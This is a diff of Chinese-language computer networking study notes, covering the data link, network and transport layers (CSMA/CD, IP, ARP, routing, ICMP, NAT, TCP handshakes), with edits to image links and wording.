|
||||
<div align="center"> <img src="../pics//29058e09-bb72-4040-a73d-4c497895e9ce.jpg" width="600"/> </div><br>
|
||||
<div align="center"> <img src="../pics//5999e5de-7c16-4b52-b3aa-6dc7b58c7894.png" width="700"/> </div><br>
|
||||
|
||||
### 3. 波分复用
|
||||
|
||||
光的频分复用。由于光的频率很高,因此习惯上用波长而不是频率来表示所使用的光载波。
|
||||
|
||||
<div align="center"> <img src="../pics//78534153-88d1-4f83-a6e0-59064dbdc43a.png" width="600"/> </div><br>
|
||||
<div align="center"> <img src="../pics//21041ec2-babb-483f-bf47-8b8148eec162.png" width="700"/> </div><br>
|
||||
|
||||
### 4. 码分复用
|
||||
|
||||
@ -225,7 +221,7 @@ TCP/IP 协议族是一种沙漏形状,中间小两边大,IP 协议在其中
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{T}=0"/></div> <br>
|
||||
|
||||
为了方便,取 m=8,设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片,发送比特 0 时就发送该码片的反码 11100100。
|
||||
为了讨论方便,取 m=8,设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片,发送比特 0 时就发送该码片的反码 11100100。
|
||||
|
||||
在计算时将 00011011 记作 (-1 -1 -1 +1 +1 -1 +1 +1),可以得到
|
||||
|
||||
@ -239,68 +235,75 @@ TCP/IP 协议族是一种沙漏形状,中间小两边大,IP 协议在其中
|
||||
|
||||
码分复用需要发送的数据量为原先的 m 倍。
|
||||
|
||||
<div align="center"> <img src="../pics//0042edad-8e3b-4279-bd93-6906fcd1b640.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//92ad9bae-7d02-43ba-8115-a9d6f530ca28.png" width="600"/> </div><br>
|
||||
|
||||
# 三、数据链路层
|
||||
|
||||
## 信道分类
|
||||
|
||||
1. 点对点信道:一对一通信方式;
|
||||
2. 广播信道:一对多通信方式。
|
||||
|
||||
## 三个基本问题
|
||||
|
||||
### 1. 封装成帧
|
||||
|
||||
将网络层传下来的分组添加首部和尾部,用于标记帧的开始和结束。
|
||||
|
||||
<div align="center"> <img src="../pics//3402d1c0-7020-4249-9a7f-12ea2ea6adf7.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//ea5f3efe-d5e6-499b-b278-9e898af61257.jpg" width="500"/> </div><br>
|
||||
|
||||
### 2. 透明传输
|
||||
|
||||
透明表示一个实际存在的事物看起来好像不存在一样。
|
||||
|
||||
帧使用首部和尾部进行定界,如果帧的数据部分含有和首部尾部相同的内容,那么帧的开始和结束位置就会被错误的判定。需要在数据部分出现首部尾部相同的内容前面插入转义字符,如果出现转移字符,那么就在转义字符前面再加个转义字符,在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符,用户察觉不到转义字符的存在。
|
||||
帧使用首部和尾部进行定界,如果帧的数据部分含有和首部尾部相同的内容,那么帧的开始和结束位置就会被错误的判定。需要在数据部分出现首部尾部相同的内容前面插入转义字符,如果出现转义字符,那么就在转义字符前面再加个转义字符,在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符,用户察觉不到转义字符的存在。
|
||||
|
||||
<div align="center"> <img src="../pics//4146e14b-56b9-433c-8e3d-74b1b325399c.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//c5022dd3-be22-4250-b9f6-38ae984a04d7.jpg" width="600"/> </div><br>
|
||||
|
||||
### 3. 差错检测
|
||||
|
||||
目前数据链路层广泛使用了循环冗余检验(CRC)来检查比特差错。
|
||||
|
||||
## 点对点信道 - PPP 协议
|
||||
## 局域网
|
||||
|
||||
互联网用户通常需要连接到某个 ISP 之后才能接入到互联网,PPP 协议就是用户计算机和 ISP 进行通信时所使用的数据链路层协议。
|
||||
局域网是典型的一种广播信道,主要特点是网络为一个单位所拥有,且地理范围和站点数目均有限。
|
||||
|
||||
<div align="center"> <img src="../pics//8393f520-d824-44ea-a5f3-1c1a73d735fb.jpg"/> </div><br>
|
||||
可以按照网络拓扑对局域网进行分类:
|
||||
|
||||
在 PPP 的帧中
|
||||
<div align="center"> <img src="../pics//a6026bb4-3daf-439f-b1ec-a5a24e19d2fb.jpg" width="600"/> </div><br>
|
||||
|
||||
## PPP 协议
|
||||
|
||||
用于点对点信道中。互联网用户通常需要连接到某个 ISP 之后才能接入到互联网,PPP 协议是用户计算机和 ISP 进行通信时所使用的数据链路层协议。
|
||||
|
||||
<div align="center"> <img src="../pics//ddcf2327-8d84-425d-8535-121a94bcb88d.jpg" width="600"/> </div><br>
|
||||
|
||||
在 PPP 的帧中:
|
||||
|
||||
- F 字段为帧的定界符
|
||||
- A 和 C 字段暂时没有意义
|
||||
- FCS 字段是使用 CRC 的检验序列
|
||||
- 信息部分的长度不超过 1500
|
||||
|
||||
<div align="center"> <img src="../pics//0f39c274-b79c-4e83-8c7c-94fc2747832d.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//69f16984-a66f-4288-82e4-79b4aa43e835.jpg" width="500"/> </div><br>
|
||||
|
||||
## 局域网的拓扑
|
||||
## CSMA/CD 协议*
|
||||
|
||||
<div align="center"> <img src="../pics//8b15e36f-69b4-46b6-a07c-7234ac7c7927.jpg"/> </div><br>
|
||||
|
||||
## 广播信道- CSMA/CD 协议 *
|
||||
|
||||
在广播信道上,同一时间只能允许一台计算机发送数据。
|
||||
用于广播信道中。在广播信道上,同一时间只能允许一台计算机发送数据。
|
||||
|
||||
CSMA/CD 表示载波监听多点接入 / 碰撞检测。
|
||||
|
||||
- **多点接入** :说明这是总线型网络,许多计算机以多点的方式连接到总线上。
|
||||
- **载波监听** :每个站都必须不停地监听信道。在发送前,如果监听到信道正在使用,就必须等待。
|
||||
- **碰撞检测** :在发送中,如果监听到信道已有其它站正在发送数据,就表示发生了碰撞。虽然每一个站在发送数据之前都已经监听到信道为空闲,但是由于电磁波的传播时延的存在,还是有可能会发生碰撞。
|
||||
|
||||
- **载波监听** :每个站都必须不停地监听信道。在发送前,如果检听信道正在使用,就必须等待。
|
||||
|
||||
- **碰撞检测** :在发送中,如果监听 到信道已有其它站正在发送数据,就表示发生了碰撞。虽然每一个站在发送数据之前都已经监听到信道为空闲,但是由于电磁波的传播时延的存在,还是有可能会发生碰撞。
|
||||
|
||||
<div align="center"> <img src="../pics//f9ed4da5-0032-41e6-991a-36d995ec28fd.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//5aa82b89-f266-44da-887d-18f31f01d8ef.png" width="600"/> </div><br>
|
||||
|
||||
记端到端的传播时延为 τ,最先发送的站点最多经过 2τ 就可以知道是否发生了碰撞,称 2τ 为 **争用期** 。只有经过争用期之后还没有检测到碰撞,才能肯定这次发送不会发生碰撞。
|
||||
|
||||
当发生碰撞时,站点要停止发送,等待一段时间再发送。这个时间采用 **截断二进制指数退避算法** 来确定,从离散的整数集合 {0, 1, .., (2<sup>k</sup>-1)} 中随机取出一个数,记作 r,然后取 r 倍的争用期作为重传等待时间。
|
||||
|
||||
## 扩展局域网 *
|
||||
## 扩展局域网*
|
||||
|
||||
### 1. 在物理层进行扩展
|
||||
|
||||
@ -312,41 +315,40 @@ CSMA/CD 表示载波监听多点接入 / 碰撞检测。
|
||||
|
||||
集线器是一种共享式的传输设备,意味着同一时刻只能传输一组数据帧。
|
||||
|
||||
<div align="center"> <img src="../pics//823cdab7-3779-4e3a-a951-dc2d154e0ee6.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//823cdab7-3779-4e3a-a951-dc2d154e0ee6.jpg" width="800"/> </div><br>
|
||||
|
||||
### 2. 在链路层进行扩展
|
||||
|
||||
最开始使用的是网桥,它收到一个帧时,根据帧的 MAC 地址,查找网桥中的地址表,确定将帧转发的接口。
|
||||
最开始使用的是网桥,它收到一个帧时,根据帧的 MAC 地址,查找网桥中的地址表,确定帧转发的接口。
|
||||
|
||||
网桥不是共享式设备,因此性能比集线器这种共享式设备更高。
|
||||
|
||||
交换机的问世很快就淘汰了网桥,它实质上是一个多接口网桥,而网桥是两接口。交换机的每个接口都能直接与一个主机或者另一个交换机相连,并且一般都工作在全双工方式。
|
||||
|
||||
交换机具有自学习能力,学习的是交换表的内容,交换表中存储着 MAC 地址到接口的映射。下图中,交换机有 4 个接口,主机 A 向主机 B 发送数据帧时,交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B,先查交换表,此时没有主机 B 的表项,那么主机 A 就发送广播帧,主机 C 和主机 D 会丢弃该帧,主机 B 收下之后,查找交换表得到主机 A 映射的接口为 1,因此就把帧发送给主机 A,同时交换机添加主机 B 到接口 3 的映射。
|
||||
交换机具有自学习能力,学习的是交换表的内容。交换表中存储着 MAC 地址到接口的映射。下图中,交换机有 4 个接口,主机 A 向主机 B 发送数据帧时,交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B,先查交换表,此时没有主机 B 的表项,那么主机 A 就发送广播帧,主机 C 和主机 D 会丢弃该帧。主机 B 收下之后,查找交换表得到主机 A 映射的接口为 1,就发送数据帧到接口 1,同时交换机添加主机 B 到接口 3 的映射。
|
||||
|
||||
<div align="center"> <img src="../pics//c9cfcd20-c901-435f-9a07-3e46830c359f.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//c9cfcd20-c901-435f-9a07-3e46830c359f.jpg" width="800"/> </div><br>
|
||||
|
||||
### 3. 虚拟局域网
|
||||
|
||||
虚拟局域网可以建立与物理位置无关的逻辑组,只有在同一个虚拟局域网中的成员才会收到链路层广播信息,例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网,A1 发送的广播会被 A2、A3、A4 收到,而其它站点收不到。
|
||||
|
||||
<div align="center"> <img src="../pics//a74b70ac-323a-4b31-b4d5-90569b8a944b.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//a74b70ac-323a-4b31-b4d5-90569b8a944b.png" width="600"/> </div><br>
|
||||
|
||||
## MAC 层 *
|
||||
## MAC 层*
|
||||
|
||||
MAC 地址是 6 字节(48 位)的地址,用于唯一标识网络适配器(网卡),一台主机拥有多少个适配器就有多少个 MAC 地址,例如笔记本电脑普遍存在无线网络适配器和有线网络适配器。
|
||||
|
||||
<div align="center"> <img src="../pics//50d38e84-238f-4081-8876-14ef6d7938b5.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//50d38e84-238f-4081-8876-14ef6d7938b5.jpg" width="600"/> </div><br>
|
||||
|
||||
在 MAC 帧中:
|
||||
|
||||
- **类型** :标记上层使用的协议;
|
||||
|
||||
- **数据** :长度在 46-1500 之间,如果太小则需要填充;
|
||||
|
||||
- **FCS** :帧检验序列,使用的是 CRC 检验方法;
|
||||
|
||||
- **前同步码** :只是为了计算 FCS 临时加入的,计算结束之后会丢弃。
|
||||
|
||||
# 四、网络层 *
|
||||
# 四、网络层*
|
||||
|
||||
## 网际协议 IP 概述
|
||||
|
||||
@ -354,7 +356,7 @@ MAC 地址是 6 字节(48 位)的地址,用于唯一标识网络适配器
|
||||
|
||||
使用 IP 协议,可以把异构的物理网络连接起来,使得在网络层看起来好像是一个统一的网络。
|
||||
|
||||
<div align="center"> <img src="../pics//fe3d224c-8ffd-40f9-85b1-86ffe1393f6c.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//7b038838-c75b-4538-ae84-6299386704e5.jpg" width="500"/> </div><br>
|
||||
|
||||
与 IP 协议配套使用的还有三个协议:
|
||||
|
||||
@ -362,15 +364,15 @@ MAC 地址是 6 字节(48 位)的地址,用于唯一标识网络适配器
|
||||
2. 网际控制报文协议 ICMP(Internet Control Message Protocol)
|
||||
3. 网际组管理协议 IGMP(Internet Group Management Protocol)
|
||||
|
||||
<div align="center"> <img src="../pics//163cf8b4-5f30-46c9-af00-316a71b3c890.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//0a9f4125-b6ab-4e94-a807-fd7070ae726a.png" width="400"/> </div><br>
|
||||
|
||||
## IP 数据报格式
|
||||
|
||||
<div align="center"> <img src="../pics//8681db55-0873-434b-aa98-83d07e8392ae.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//85c05fb1-5546-4c50-9221-21f231cdc8c5.jpg" width="700"/> </div><br>
|
||||
|
||||
- **版本** : 有 4(IPv4)和 6(IPv6)两个值;
|
||||
|
||||
- **首部长度** : 占 4 位,因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度,也就是 4 字节。因为首部固定长度为 20 字节,因此该值最小为 5。如果可选部分的长度不是 4 字节的整数倍,就用尾部的填充部分来填充。
|
||||
- **首部长度** : 占 4 位,因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度,也就是 4 字节。因为首部固定长度为 20 字节,因此该值最小为 5。如果可选字段的长度不是 4 字节的整数倍,就用尾部的填充部分来填充。
|
||||
|
||||
- **区分服务** : 用来获得更好的服务,一般情况下不使用。
|
||||
|
||||
@ -380,7 +382,7 @@ MAC 地址是 6 字节(48 位)的地址,用于唯一标识网络适配器
|
||||
|
||||
- **片偏移** : 和标识符一起,用于发生分片的情况。片偏移的单位为 8 字节。
|
||||
|
||||
<div align="center"> <img src="../pics//45c86855-9b18-4cf4-a9a7-f8b6eb78d133.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//23ba890e-e11c-45e2-a20c-64d217f83430.png" width="700"/> </div><br>
|
||||
|
||||
- **生存时间** :TTL,它的存在是为了防止无法交付的数据报在互联网中不断兜圈子。以路由器跳数为单位,当 TTL 为 0 时就丢弃数据报。
|
||||
|
||||
@ -388,21 +390,21 @@ MAC 地址是 6 字节(48 位)的地址,用于唯一标识网络适配器
|
||||
|
||||
- **首部检验和** :因为数据报每经过一个路由器,都要重新计算检验和,因此检验和不包含数据部分可以减少计算的工作量。
|
||||
|
||||
## IP 地址编址
|
||||
## IP 地址编址方式
|
||||
|
||||
IP 地址的编址方式经历了三个历史阶段:
|
||||
|
||||
1. 分类;
|
||||
2. 子网划分;
|
||||
3. 无分类。
|
||||
1. 分类
|
||||
2. 子网划分
|
||||
3. 无分类
|
||||
|
||||
### 1. 分类
|
||||
|
||||
由两部分组成,网络号和主机号,其中不同类别具有不同的网络号长度,并且是固定的。
|
||||
由两部分组成,网络号和主机号,其中不同分类具有不同的网络号长度,并且是固定的。
|
||||
|
||||
IP 地址 ::= {< 网络号 >, < 主机号 >}
|
||||
|
||||
<div align="center"> <img src="../pics//2ddd6132-60be-4a72-9daa-3d9756191f4a.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//cbf50eb8-22b4-4528-a2e7-d187143d57f7.png" width="500"/> </div><br>
|
||||
|
||||
### 2. 子网划分
|
||||
|
||||
@ -430,48 +432,38 @@ CIDR 的地址掩码可以继续称为子网掩码,子网掩码首 1 长度为
|
||||
|
||||
网络层实现主机之间的通信,而链路层实现具体每段链路之间的通信。因此在通信过程中,IP 数据报的源地址和目的地址始终不变,而 MAC 地址随着链路的改变而改变。
|
||||
|
||||
<div align="center"> <img src="../pics//86b71296-0d1e-4a63-bcd9-54955b6b781b.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//66192382-558b-4b05-a35d-ac4a2b1a9811.jpg" width="700"/> </div><br>
|
||||
|
||||
## 地址解析协议 ARP
|
||||
|
||||
实现由 IP 地址得到 MAC 地址。
|
||||
|
||||
<div align="center"> <img src="../pics//1b4d6737-d834-46ed-8f9d-6f123e29c8dd.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg" width="500"/> </div><br>
|
||||
|
||||
每个主机都有一个 ARP 高速缓存,里面有本局域网上的各主机和路由器的 IP 地址到硬件地址的映射表。
|
||||
|
||||
如果主机 A 知道主机 B 的 IP 地址,但是 ARP 高速缓存中没有该 IP 地址到 MAC 地址的映射,此时主机 A 通过广播的方式发送 ARP 请求分组,主机 B 收到该请求后会发送 ARP 响应分组给主机 A 告知其 MAC 地址,随后主机 A 向其高速缓存中写入主机 B 的 IP 地址到硬件地址的映射。
|
||||
|
||||
<div align="center"> <img src="../pics//8bc6fc2c-d198-4759-b06c-18d94d851e97.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//8006a450-6c2f-498c-a928-c927f758b1d0.png" width="700"/> </div><br>
|
||||
|
||||
## 路由器的结构
|
||||
|
||||
路由器从功能上可以划分为两大部分:路由选择和分组转发。
|
||||
路由器从功能上可以划分为:路由选择和分组转发。
|
||||
|
||||
分组转发部分由三部分组成:交换结构、一组输入端口和一组输出端口。
|
||||
|
||||
<div align="center"> <img src="../pics//3a676c54-b559-4466-9b21-eb10f1e25879.jpg"/> </div><br>
|
||||
|
||||
交换结构的交换网络有以下三种实现方式:
|
||||
|
||||
<div align="center"> <img src="../pics//7f82fd18-7f16-4125-ada6-bb6b795b4fda.png"/> </div><br>
|
||||
分组转发结构由三个部分组成:交换结构、一组输入端口和一组输出端口。
|
||||
|
||||
<div align="center"> <img src="../pics//c3369072-c740-43b0-b276-202bd1d3960d.jpg" width="600"/> </div><br>
|
||||
|
||||
## 路由器分组转发流程
|
||||
|
||||
1. 从数据报的首部提取目的主机的 IP 地址 D,得到目的网络地址 N。(路由表项是网络号而不是 IP 地址,这样做大大减少了路由表条目数量);
|
||||
|
||||
1. 从数据报的首部提取目的主机的 IP 地址 D,得到目的网络地址 N。
|
||||
2. 若 N 就是与此路由器直接相连的某个网络地址,则进行直接交付;
|
||||
|
||||
3. 若路由表中有目的地址为 D 的特定主机路由,则把数据报传送给表中所指明的下一跳路由器;
|
||||
|
||||
4. 若路由表中有到达网络 N 的路由,则把数据报传送给路由表中所指明的下一跳路由器;
|
||||
|
||||
5. 若路由表中有一个默认路由,则把数据报传送给路由表中所指明的默认路由器;
|
||||
|
||||
6. 报告转发分组出错。
|
||||
|
||||
<div align="center"> <img src="../pics//8d211911-0e62-4190-ab00-d8610adec4a0.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//1ab49e39-012b-4383-8284-26570987e3c4.jpg" width="800"/> </div><br>
|
||||
|
||||
## 路由选择协议
|
||||
|
||||
@ -484,7 +476,7 @@ CIDR 的地址掩码可以继续称为子网掩码,子网掩码首 1 长度为
|
||||
1. 内部网关协议 IGP(Interior Gateway Protocol):在 AS 内部使用,如 RIP 和 OSPF。
|
||||
2. 外部网关协议 EGP(External Gateway Protocol):在 AS 之间使用,如 BGP。
|
||||
|
||||
<div align="center"> <img src="../pics//e0be6970-5b0e-44a2-bc71-df4d61c42b8f.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//276c31df-3b28-4ac2-b006-1e80fc86a64f.jpg" width="600"/> </div><br>
|
||||
|
||||
### 1. 内部网关协议 RIP
|
||||
|
||||
@ -524,32 +516,32 @@ BGP 只能寻找一条比较好的路由,而不是最佳路由。它采用路
|
||||
|
||||
每个 AS 都必须配置 BGP 发言人,通过在两个相邻 BGP 发言人之间建立 TCP 连接来交换路由信息。
|
||||
|
||||
<div align="center"> <img src="../pics//eb6271de-22c9-4f4b-8b31-eab1f560efac.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//9cd0ae20-4fb5-4017-a000-f7d3a0eb3529.png" width="600"/> </div><br>
|
||||
|
||||
## 网际控制报文协议 ICMP
|
||||
|
||||
ICMP 是为了更有效地转发 IP 数据报和提高交付成功的机会。它封装在 IP 数据报中,但是不属于高层协议。
|
||||
|
||||
<div align="center"> <img src="../pics//9b5e0fa0-9274-4219-a3a9-84fbb509c735.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//e3124763-f75e-46c3-ba82-341e6c98d862.jpg" width="500"/> </div><br>
|
||||
|
||||
ICMP 报文分为差错报告报文和询问报文。
|
||||
|
||||
<div align="center"> <img src="../pics//6e11b122-95ce-4869-bf7d-3b0d7591707e.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//aa29cc88-7256-4399-8c7f-3cf4a6489559.png" width="600"/> </div><br>
|
||||
|
||||
## 分组网间探测 PING
|
||||
|
||||
PING 是 ICMP 的一个重要应用,主要用来测试两台主机之间的连通性。
|
||||
|
||||
PING 的过程:
|
||||
Ping 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报。
|
||||
|
||||
1. PING 同一个网段的主机:查找目的主机的 MAC 地址,然后直接交付。如果无法查找到 MAC 地址,就要进行一次 ARP 请求。
|
||||
2. PING 不同网段的主机:发送到网关让其进行转发。同样要发送到网关也需要通过查找网关的 MAC 地址,根据 MAC 地址进行转发。
|
||||
## Traceroute
|
||||
|
||||
## IP 多播
|
||||
Traceroute 是 ICMP 的另一个应用,用来跟踪一个分组从源点到终点的路径。
|
||||
|
||||
在一对多的通信中,多播不需要将分组复制多份,从而大大节约网络资源。
|
||||
|
||||
<div align="center"> <img src="../pics//c77b6a18-dfac-42a2-ac89-7e99481275dc.jpg"/> </div><br>
|
||||
1. 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1,但 P1 到达路径上的第一个路由器 R1 时,R1 收下它并把 TTL 减 1,此时 TTL 等于 0,R1 就把 P1 丢弃,并向源主机发送一个 ICMP 时间超过差错报告报文;
|
||||
2. 源主机接着发送第二个数据报 P2,并把 TTL 设置为 2。P2 先到达 R1,R1 收下后把 TTL 减 1 再转发给 R2,R2 收下后也把 TTL 减 1,由于此时 TTL 等于 0,R2 就丢弃 P2,并向源主机发送一个 ICMP 时间超过差错报文。
|
||||
3. 不断执行这样的步骤,直到最后一个数据报刚刚到达目的主机,主机不转发数据报,也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP,因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
|
||||
4. 之后源主机知道了到达目的主机所经过的路由器 IP 地址以及到达每个路由器的往返时间。
|
||||
|
||||
## 虚拟专用网 VPN
|
||||
|
||||
@ -563,9 +555,9 @@ PING 的过程:
|
||||
|
||||
VPN 使用公用的互联网作为本机构各专用网之间的通信载体。专用指机构内的主机只与本机构内的其它主机通信;虚拟指“好像是”,而实际上并不是,它有经过公用的互联网。
|
||||
|
||||
下图中,场所 A 和 B 的通信部经过互联网,如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信,IP 数据报的源地址是 10.1.0.1,目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1,R1 对内部数据进行加密,然后重新加上数据报的首部,源地址是路由器 R1 的全球地址 125.1.2.3,目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密,恢复原来的数据报,此时目的地址为 10.2.0.3,就交付给 Y。
|
||||
下图中,场所 A 和 B 的通信经过互联网,如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信,IP 数据报的源地址是 10.1.0.1,目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1,R1 对内部数据进行加密,然后重新加上数据报的首部,源地址是路由器 R1 的全球地址 125.1.2.3,目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密,恢复原来的数据报,此时目的地址为 10.2.0.3,就交付给 Y。
|
||||
|
||||
<div align="center"> <img src="../pics//bf4ed077-d481-4db7-9e7a-85d841a5a8c3.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//1556770b-8c01-4681-af10-46f1df69202c.jpg" width="800"/> </div><br>
|
||||
|
||||
## 网络地址转换 NAT
|
||||
|
||||
@ -573,29 +565,27 @@ VPN 使用公用的互联网作为本机构各专用网之间的通信载体。
|
||||
|
||||
在以前,NAT 将本地 IP 和全球 IP 一一对应,这种方式下拥有 n 个全球 IP 地址的专用网内最多只可以同时有 n 台主机接入互联网。为了更有效地利用全球 IP 地址,现在常用的 NAT 转换表把运输层的端口号也用上了,使得多个专用网内部的主机共用一个全球 IP 地址。使用端口号的 NAT 也叫做网络地址与端口转换 NAPT。
|
||||
|
||||
<div align="center"> <img src="../pics//0f31bc7a-d60b-48a6-8e3f-597708369e52.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//2719067e-b299-4639-9065-bed6729dbf0b.png" width=""/> </div><br>
|
||||
|
||||
# 五、运输层 *
|
||||
# 五、运输层*
|
||||
|
||||
网络层只把分组发送到目的主机,但是真正通信的并不是主机而是主机中的进程。
|
||||
|
||||
运输层提供了应用进程间的逻辑通信。运输层向高层用户屏蔽了下面网络层的核心细节,使应用程序看见的好像在两个运输层实体之间有一条端到端的逻辑通信信道。
|
||||
网络层只把分组发送到目的主机,但是真正通信的并不是主机而是主机中的进程。运输层提供了进程间的逻辑通信,运输层向高层用户屏蔽了下面网络层的核心细节,使应用程序看见的好像在两个运输层实体之间有一条端到端的逻辑通信信道。
|
||||
|
||||
## UDP 和 TCP 的特点
|
||||
|
||||
- 用户数据包协议 UDP(User Datagram Protocol)是无连接的,尽最大可能交付,没有拥塞控制,面向报文(对于应用程序传下来的报文不合并也不拆分,只是添加 UDP 首部)。
|
||||
- 用户数据报协议 UDP(User Datagram Protocol)是无连接的,尽最大可能交付,没有拥塞控制,面向报文(对于应用程序传下来的报文不合并也不拆分,只是添加 UDP 首部)。
|
||||
|
||||
- 传输控制协议 TCP(Transmission Control Protocol) 是面向连接的,提供可靠交付,有流量控制,拥塞控制,提供全双工通信,面向字节流(把应用层传下来的报文看成字节流,把字节流组织成大小不等的数据块)
|
||||
- 传输控制协议 TCP(Transmission Control Protocol)是面向连接的,提供可靠交付,有流量控制,拥塞控制,提供全双工通信,面向字节流(把应用层传下来的报文看成字节流,把字节流组织成大小不等的数据块)。
|
||||
|
||||
## UDP 首部格式
|
||||
|
||||
<div align="center"> <img src="../pics//bd6c05f3-02ee-4c8a-b374-40c87154a898.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//d4c3a4a1-0846-46ec-9cc3-eaddfca71254.jpg" width="600"/> </div><br>
|
||||
|
||||
首部字段只有 8 个字节,包括源端口、目的端口、长度、检验和。12 字节的伪首部是为了计算检验和临时添加的。
|
||||
|
||||
## TCP 首部格式
|
||||
|
||||
<div align="center"> <img src="../pics//21a00b02-c0a6-4bcd-9af0-5ec6bb66e34c.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//55dc4e84-573d-4c13-a765-52ed1dd251f9.png" width="700"/> </div><br>
|
||||
|
||||
- **序号** :用于对字节流进行编号,例如序号为 301,表示第一个字节的编号为 301,如果携带的数据长度为 100 字节,那么下一个报文段的序号应为 401。
|
||||
|
||||
@ -613,7 +603,7 @@ VPN 使用公用的互联网作为本机构各专用网之间的通信载体。
|
||||
|
||||
## TCP 的三次握手
|
||||
|
||||
<div align="center"> <img src="../pics//086871db-5871-460f-97b7-126cd738bb0e.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//e92d0ebc-7d46-413b-aec1-34a39602f787.png" width="600"/> </div><br>
|
||||
|
||||
假设 A 为客户端,B 为服务器端。
|
||||
|
||||
@ -624,34 +614,46 @@ VPN 使用公用的互联网作为本机构各专用网之间的通信载体。
|
||||
3. B 收到连接请求报文段,如果同意建立连接,则向 A 发送连接确认报文段,SYN=1,ACK=1,确认号为 x+1,同时也选择一个初始的序号 y。
|
||||
|
||||
4. A 收到 B 的连接确认报文段后,还要向 B 发出确认,确认号为 y+1,序号为 x+1。
|
||||
|
||||
5. B 收到 A 的确认后,连接建立。
|
||||
|
||||
**三次握手的原因**
|
||||
|
||||
第三次握手是为了防止失效的连接请求到达服务器,让服务器错误打开连接。
|
||||
|
||||
失效的连接请求是指,客户端发送的连接请求在网络中滞留,客户端因为没及时收到服务器端发送的连接确认,因此就重新发送了连接请求。滞留的连接请求并不是丢失,之后还是会到达服务器。如果不进行第三次握手,那么服务器会误认为客户端重新请求连接,然后打开了连接。但是并不是客户端真正打开这个连接,因此客户端不会给服务器发送数据,这个连接就白白浪费了。
|
||||
|
||||
## TCP 的四次挥手
|
||||
|
||||
<div align="center"> <img src="../pics//78f65456-666b-4044-b4ee-f7692dbbc0d3.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//f87afe72-c2df-4c12-ac03-9b8d581a8af8.jpg" width="600"/> </div><br>
|
||||
|
||||
以下描述不讨论序号和确认号,因为序号和确认号的规则比较简单。并且不讨论 ACK,因为 ACK 在连接建立之后都为 1。
|
||||
|
||||
1. A 发送连接释放报文段,FIN=1;
|
||||
1. A 发送连接释放报文段,FIN=1。
|
||||
|
||||
2. B 收到之后发出确认,此时 TCP 属于半关闭状态,B 能向 A 发送数据但是 A 不能向 B 发送数据;
|
||||
2. B 收到之后发出确认,此时 TCP 属于半关闭状态,B 能向 A 发送数据但是 A 不能向 B 发送数据。
|
||||
|
||||
3. 当 B 要不再需要连接时,发送连接释放请求报文段,FIN=1;
|
||||
3. 当 B 要不再需要连接时,发送连接释放请求报文段,FIN=1。
|
||||
|
||||
4. A 收到后发出确认,此时连接释放。
|
||||
4. A 收到后发出确认,进入 TIME-WAIT 状态,等待 2MSL 时间后释放连接。
|
||||
|
||||
### TIME_WAIT
|
||||
5. B 收到 A 的确认后释放连接。
|
||||
|
||||
客户端接收到服务器端的 FIN 报文后进入此状态,此时并不是直接进入 CLOSED 状态,还需要等待一个时间计时器设置的时间。这么做有两个理由:
|
||||
**四次挥手的原因**
|
||||
|
||||
客户端发送了 FIN 连接释放报文之后,服务器收到了这个报文,就进入了 CLOSE-WAIT 状态。这个状态是为了让服务器端发送还未传送完毕的数据,传送完毕之后,服务器会发送 FIN 连接释放报文。
|
||||
|
||||
**TIME_WAIT**
|
||||
|
||||
客户端接收到服务器端的 FIN 报文后进入此状态,此时并不是直接进入 CLOSED 状态,还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由:
|
||||
|
||||
